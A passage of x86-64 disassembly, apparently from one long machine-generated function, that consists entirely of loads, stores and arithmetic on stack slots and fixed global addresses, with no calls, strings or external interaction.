mov rcx, qword [rsp + 0x7728]
mov word [rcx], ax
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x7240]
mov rcx, qword [rsp + 0x7630]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7120], rax
lea rax, [rsp + 0x3cb4]
mov qword [rsp + 0x79c8], rax
mov rax, qword [rsp + 0x7860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7140]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3cd8]
mov ecx, dword [0x14017a4d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd30]
mov rcx, qword [rsp + 0x7228]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179048], ax
lea rax, [rsp + 0xa2]
mov qword [rsp + 0x79d0], rax
mov rax, qword [rsp + 0x6e50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
and eax, ecx
mov word [rsp + 0xc20], ax
lea rax, [rsp + 0xa1]
mov qword [rsp + 0x79d8], rax
movsx eax, word [rsp + 0xd98]
movsx ecx, word [rsp + 0xc44]
sub eax, ecx
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x7180]
mov rcx, qword [rsp + 0x75b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d58], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x79e0], rax
mov rax, qword [rsp + 0x7768]
mov rcx, qword [rsp + 0x7530]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x71c8], rax
mov eax, dword [rsp + 0x3c6c]
mov dword [rsp + 0x3d5c], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7928]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14017903e], al
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
sar eax, cl
mov byte [rsp + 0xb3], al
lea rax, [rsp + 0xac]
mov qword [rsp + 0x79e8], rax
mov rax, qword [rsp + 0x76d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc24]
or eax, ecx
mov rcx, qword [rsp + 0x7910]
mov word [rcx], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0xa0]
shl eax, cl
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0x7848]
mov eax, dword [rax]
mov dword [rsp + 0x3d60], eax
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6fb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c7c]
mov dword [rsp + 0x3d64], eax
mov rax, qword [rsp + 0x75f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7648], rax
mov rax, qword [rsp + 0x7158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
add eax, ecx
mov rcx, qword [0x14017a5a8]
mov word [rcx], ax
movzx eax, word [0x14017902c]
movzx ecx, word [rsp + 0xcfc]
add eax, ecx
mov word [rsp + 0xd74], ax
movzx eax, byte [rsp + 0x9e]
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd14], ax
mov rax, qword [0x14017a588]
movzx eax, byte [rax]
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x6af8]
mov rcx, qword [rsp + 0x6d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x75e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6f90], rax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov qword [rsp + 0x79f0], rax
mov rax, qword [rsp + 0x7180]
mov ecx, dword [rsp + 0x3cc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x71a0]
movzx eax, byte [rax]
mov byte [0x14017a4fe], al
mov rax, qword [0x14017a6a8]
movzx eax, byte [rax]
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x7388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
sub eax, ecx
mov word [rsp + 0xc88], ax
mov rax, qword [rsp + 0x6e78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x76d0]
mov word [rcx], ax
lea rax, [rsp + 0xcf8]
mov qword [rsp + 0x79f8], rax
mov eax, dword [rsp + 0x3be4]
mov ecx, dword [rsp + 0x3cb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x6ad0]
mov ecx, dword [rsp + 0x3d50]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c58], eax
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov qword [rsp + 0x7a08], rax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x79a8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7228]
mov word [rcx], ax
lea rax, [rsp + 0x82]
mov qword [0x14017a6b0], rax
movsx eax, word [0x14017a59c]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [rsp + 0xc20], ax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0xb9], al
movsx eax, byte [rsp + 0x49]
mov rcx, qword [rsp + 0x7920]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x3c60]
mov dword [rsp + 0x3d68], eax
mov rax, qword [rsp + 0x78b0]
mov rcx, qword [rsp + 0x7950]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7068], rax
mov rax, qword [rsp + 0x7918]
mov rcx, qword [rsp + 0x7800]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d50], eax
lea rax, [rsp + 0x7238]
mov qword [rsp + 0x7a10], rax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a4e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov word [rsp + 0xd9c], ax
mov rax, qword [rsp + 0x7960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc94], ax
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [0x14017a5f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7018]
mov byte [rcx], al
lea rax, [rsp + 0x3cec]
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0x70f8]
mov rcx, qword [rsp + 0x70a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x79a0]
mov qword [rcx], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3d6c], eax
mov rax, qword [rsp + 0x6c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6db8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7668], rax
movsx eax, word [rsp + 0xd50]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xcf0], ax
movzx eax, word [0x140179040]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140179048], ax
mov rax, qword [rsp + 0x7580]
movzx eax, word [rax]
mov word [rsp + 0xda0], ax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0x7f]
or eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov byte [rcx], al
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x7a20], rax
mov rax, qword [rsp + 0x6cc8]
movzx ecx, al
mov rax, qword [rsp + 0x6ed0]
shr rax, cl
mov qword [rsp + 0x7318], rax
mov eax, dword [rsp + 0x3c20]
mov dword [rsp + 0x3d70], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7548]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x71e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7820]
mov rcx, qword [rsp + 0x7800]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c48], eax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x7a28], rax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x140179070], ax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0x78]
and eax, ecx
mov rcx, qword [rsp + 0x7688]
mov byte [rcx], al
movzx eax, word [rsp + 0xd5c]
mov word [rsp + 0xda4], ax
movzx eax, byte [rsp + 0x7e]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [rsp + 0xa4], al
movsx eax, word [rsp + 0xca8]
movsx ecx, word [rsp + 0xcd8]
sub eax, ecx
mov word [rsp + 0xd3c], ax
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x7a30], rax
mov rax, qword [rsp + 0x7790]
mov rcx, qword [rsp + 0x78f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x6c10]
mov rax, qword [rax]
mov qword [rsp + 0x7a38], rax
mov eax, dword [rsp + 0x3c18]
mov ecx, dword [rsp + 0x3cc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bfc], eax
mov rax, qword [0x14017a5d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179074], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0x7a40], rax
movsx eax, byte [0x14017a4e2]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x7880]
movzx eax, byte [rax]
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x6df0]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x79e0]
mov qword [rcx], rax
lea rax, [rsp + 0x3d6c]
mov qword [rsp + 0x7a48], rax
mov eax, dword [rsp + 0x3bf8]
movzx ecx, al
mov eax, dword [rsp + 0x3b34]
sar eax, cl
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x7740]
mov rcx, qword [rsp + 0x6c70]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6a50], rax
movsx eax, word [rsp + 0xccc]
mov rcx, qword [rsp + 0x7778]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140179044], ax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0xa1]
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd68]
shl eax, cl
mov rcx, qword [rsp + 0x7850]
mov word [rcx], ax
mov rax, qword [rsp + 0x73c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x78a8], rax
mov rax, qword [rsp + 0x7430]
mov qword [rsp + 0x7a58], rax
mov eax, dword [rsp + 0x3bc8]
mov ecx, dword [rsp + 0x3b68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d6c], eax
mov rax, qword [rsp + 0x73a8]
mov eax, dword [rax]
mov dword [rsp + 0x3d74], eax
mov rax, qword [rsp + 0x6be0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a59c], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x7500]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd04], ax
mov rax, qword [rsp + 0x74a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6de0]
mov byte [rcx], al
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x7a60], rax
mov rax, qword [rsp + 0x75d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a50]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3d78], eax
mov rax, qword [rsp + 0x7958]
mov rcx, qword [rsp + 0x6e58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6bb0], rax
mov rax, qword [rsp + 0x7908]
mov ecx, dword [rsp + 0x3c6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c40], eax
lea rax, [0x140179010]
mov qword [rsp + 0x7a68], rax
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov word [0x14017a6b8], ax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x47]
add eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x7060]
movzx eax, byte [rax]
mov byte [rsp + 0xbc], al
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc88], ax
movzx eax, word [rsp + 0xd38]
mov word [rsp + 0xda8], ax
mov eax, dword [0x140179004]
mov rcx, qword [rsp + 0x73d0]
mov qword [rsp + 0x7a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7478]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7638]
mov rcx, qword [rsp + 0x7810]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7a48]
mov dword [rcx], eax
lea rax, [rsp + 0x74e0]
mov qword [rsp + 0x7a78], rax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x7240]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7308], rax
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov byte [0x14017902f], al
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x7a80], rax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [0x14017a538]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
movsx eax, word [rsp + 0xd34]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd78], ax
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x6ff0]
mov rcx, qword [rsp + 0x7178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7238], rax
mov rax, qword [rsp + 0x6ef0]
mov qword [rsp + 0x7a88], rax
mov rax, qword [rsp + 0x7600]
mov ecx, dword [rsp + 0x3c74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x7798]
mov rcx, qword [rsp + 0x7040]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7718]
mov dword [rcx], eax
lea rax, [rsp + 0xd48]
mov qword [0x14017a6c0], rax
mov rax, qword [rsp + 0x7170]
movzx eax, byte [rax]
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x79c0]
movsx eax, word [rax]
mov rcx, qword [0x14017a5e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6e18]
mov word [rcx], ax
lea rax, [rsp + 0xd54]
mov qword [rsp + 0x7a90], rax
movzx eax, word [rsp + 0xd48]
movzx ecx, word [rsp + 0xd1c]
sub eax, ecx
mov rcx, qword [rsp + 0x71f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x77c0]
mov eax, dword [rax]
mov dword [rsp + 0x3d7c], eax
mov rax, qword [rsp + 0x7138]
mov rcx, qword [rsp + 0x7668]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
lea rax, [rsp + 0x72c8]
mov qword [rsp + 0x7a98], rax
lea rax, [rsp + 0x84]
mov qword [0x14017a6c8], rax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xd30]
cdq
idiv ecx
mov word [rsp + 0xd18], ax
mov rax, qword [rsp + 0x7688]
movzx eax, byte [rax]
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
shl eax, cl
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x6c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7360]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x79f8]
mov word [rcx], ax
lea rax, [rsp + 0x3c28]
mov qword [rsp + 0x7aa0], rax
mov eax, dword [rsp + 0x3d44]
mov ecx, dword [rsp + 0x3d48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c1c], eax
lea rax, [rsp + 0x7698]
mov qword [rsp + 0x7aa8], rax
mov rax, qword [rsp + 0x77e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x72b8], rax
movsx eax, word [0x14017a558]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc88], ax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
sub eax, ecx
mov rcx, qword [0x14017a5a0]
mov byte [rcx], al
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x7ab0], rax
movsx eax, byte [0x14017902f]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x74b0]
mov rcx, qword [rsp + 0x6dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7068], rax
mov rax, qword [rsp + 0x7100]
mov qword [rsp + 0x7ab8], rax
mov rax, qword [rsp + 0x7710]
mov rcx, qword [rsp + 0x75b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x6c38]
movzx eax, word [rax]
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7010]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [str.___nAv], al
movzx eax, word [rsp + 0xd08]
movzx ecx, word [0x140179040]
add eax, ecx
mov word [rsp + 0xd9c], ax
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x7ac0], rax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd50]
add eax, ecx
mov word [rsp + 0xd04], ax
mov rax, qword [rsp + 0x7218]
mov rcx, qword [rsp + 0x6ee0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
lea rax, [rsp + 0x3c78]
mov qword [rsp + 0x7ac8], rax
mov rax, qword [rsp + 0x7a48]
mov rcx, qword [rsp + 0x6cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3bb4], eax
lea rax, [0x140179010]
mov qword [rsp + 0x7ad0], rax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
sar eax, cl
mov rcx, qword [rsp + 0x78e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc3c]
mov rcx, qword [rsp + 0x6ce0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017a620]
mov word [rcx], ax
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd54]
xor eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x78d0]
movzx eax, byte [rax]
mov byte [rsp + 0xc1], al
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7650]
mov byte [rcx], al
lea rax, [rsp + 0x3c44]
mov qword [rsp + 0x7ad8], rax
mov rax, qword [rsp + 0x7310]
mov rcx, qword [rsp + 0x6fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7930], rax
mov rax, qword [rsp + 0x6c20]
mov rcx, qword [rsp + 0x77c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6fc0]
mov dword [rcx], eax
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0x7ae0], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0xbe], al
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [0x14017902a]
add eax, ecx
mov byte [0x140179022], al
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x7ae8], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x79d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [0x14017a500]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x76d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x7168]
mov rcx, qword [rsp + 0x76e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6f10], rax
lea rax, [rsp + 0x3d30]
mov qword [rsp + 0x7af0], rax
mov rax, qword [rsp + 0x7908]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7800]
mov dword [rcx], eax
lea rax, [rsp + 0x73e8]
mov qword [rsp + 0x7af8], rax
mov rax, qword [rsp + 0x73e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc8]
sar eax, cl
mov word [0x140179078], ax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [rsp + 0x7b]
xor eax, ecx
mov rcx, qword [rsp + 0x7a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x78e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc30]
or eax, ecx
mov word [rsp + 0xd8c], ax
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0x7b00], rax
mov rax, qword [rsp + 0x79a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78e0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7728]
mov word [rcx], ax
mov eax, dword [rsp + 0x3d64]
mov dword [rsp + 0x3d80], eax
mov rax, qword [rsp + 0x7ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70f8]
mov qword [rsp + 0x7b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x7820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ccc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ea0]
mov rax, qword [rax]
mov qword [rsp + 0x7b10], rax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
mov byte [0x14017a4ff], al
movsx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x72e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x7b18], rax
movsx eax, byte [rsp + 0x57]
movsx ecx, byte [rsp + 0x46]
add eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
mov rax, qword [0x14017a630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7640]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7880]
mov byte [rcx], al
mov eax, dword [rsp + 0x3d08]
mov dword [rsp + 0x3d84], eax
mov rax, qword [rsp + 0x7238]
mov rcx, qword [rsp + 0x72c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7610]
mov qword [rcx], rax
lea rax, [rsp + 0x3c20]
mov qword [rsp + 0x7b20], rax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7630]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c98]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd50]
mov rcx, qword [0x14017a520]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a59c], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0x7b28], rax
mov rax, qword [rsp + 0x7170]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov word [rsp + 0xc68], ax
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x7b30], rax
mov rax, qword [rsp + 0x7498]
mov rcx, qword [rsp + 0x6ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d54], eax
mov rax, qword [rsp + 0x7238]
mov qword [rsp + 0x7b38], rax
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0x7b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b40]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7288]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7898]
movzx ecx, al
mov rax, qword [rsp + 0x7278]
shl rax, cl
mov rcx, qword [rsp + 0x6ea0]
mov qword [rcx], rax
lea rax, [rsp + 0xb9]
mov qword [0x14017a6d0], rax
mov rax, qword [rsp + 0x7298]
movzx eax, word [rax]
mov word [rsp + 0xdb0], ax
movzx eax, word [rsp + 0xd84]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd64], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0x7b48], rax
mov rax, qword [0x14017a5b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
or eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x7810]
mov ecx, dword [rsp + 0x3d28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7ad8]
mov dword [rcx], eax
lea rax, [rsp + 0x6f68]
mov qword [rsp + 0x7b50], rax
mov rax, qword [rsp + 0x7400]
mov rcx, qword [rsp + 0x7720]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3ca0]
mov dword [rsp + 0x3d88], eax
mov rax, qword [rsp + 0x75d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc0]
and eax, ecx
mov byte [0x14017900d], al
movsx eax, word [0x140179044]
movsx ecx, word [rsp + 0xcb4]
sub eax, ecx
mov word [rsp + 0xd58], ax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov rcx, qword [rsp + 0x6f18]
mov word [rcx], ax
lea rax, [rsp + 0x79]
mov qword [rsp + 0x7b58], rax
mov rax, qword [0x14017a630]
